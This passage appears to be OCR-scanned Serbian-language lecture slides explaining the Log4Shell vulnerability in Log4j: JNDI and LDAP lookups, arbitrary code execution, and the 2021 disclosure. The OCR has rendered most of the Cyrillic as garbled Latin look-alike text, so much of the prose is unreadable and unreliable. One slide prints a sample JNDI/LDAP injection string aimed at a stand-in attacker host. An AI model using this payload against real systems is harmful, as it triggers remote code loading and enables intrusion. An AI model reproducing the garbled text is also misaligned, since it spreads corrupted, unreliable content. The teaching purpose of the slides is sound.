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YBop,

1 Log4Shell rpewika

e [lonynapHu Ha3uB 3a CVE-2021-44228
e [peLuKa HynTOr AaHa

e OMoryhaBa Npou3Bo/bHO M3BpLUABaHE KOAA
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lNMpekopayere oncera
1 Log4Shell rpewika

Jesnum HUCKor HMBoa:
e Hema yrpaheHe 3awtute nHterpmuteTa
e [porpam ynucyje unm yita nogaTtke usBaH npeasuheHor oncera

e Henpeapuas/bMBa NnoHallarba
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JaBa
1 Log4Shell rpewika

e O6jeKTHO OpujeHTMCaHO NporpamMmpame
e OO6jeKkTn N Knace
e Hema npekopayemsa orncera

S
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Log4j

1 Log4Shell rpewika

e YHanpehyje ucnmnc nogataka Ha ctTaHAapAHM U3nas
e L11a610HU HUCKKU

e Jlakwin ncnmc

5/10 Hukona Maputkosuh 52/2025 | Log4Shell rpetuka



JIMHaMMWUYKO yuyuTaBame Kaaca
JNDI v LDAP

e JNDI: JaBa nHTepdejc 3a npeTpary objekata no UMeHy
e LDAP: Mpe)XXH1 NPOTOKOJ1 32 NMPUCTYN CEPBUCUMMA AUPEKTOPUjyMaA

e YuuTaBatbe CTPaHUX KJlaca Npyka NpuaMKy CTpaHOM KoAy [ia Ce U3BPLLIM.
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Onuc rpeLuke
1 Log4Shell rpewka

o Log4j kopucTu JINDI 3a npoHanaxerbe enemMeHata 6asa nogataxa (LDAP)

e JegHa HMCKa nporpamy ,u,o,u,aje MaJIMUMNO3HUN KOJ, Ca cepBepa CTPaHOI KOPUCHUKaA
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Hucka
1 Log4Shell rpewika

$jndi : ldap : //napadac.com/maliciozni_zahtev
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Otkpuhe rpeluke
1 Log4Shell rpewika

OTKpuBeHa of, cTpaHe nctpaxusaya us Alibaba Cloud Tuma y HoBemM6py 2021.
rofivHe.

MocTojana je HEOTKpPMBEHA Of, HajKacHMje 2013. FoANHE.

JaBHO obGjaBsbeHa 9. geleMbpa 2021.

e MHOrM MHTEPHET cepBuUCH cy BN NPUMOPaHK Aa axypupajy codTeep.
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Log4Shell rpewka

XBasa Ha na>xmku!
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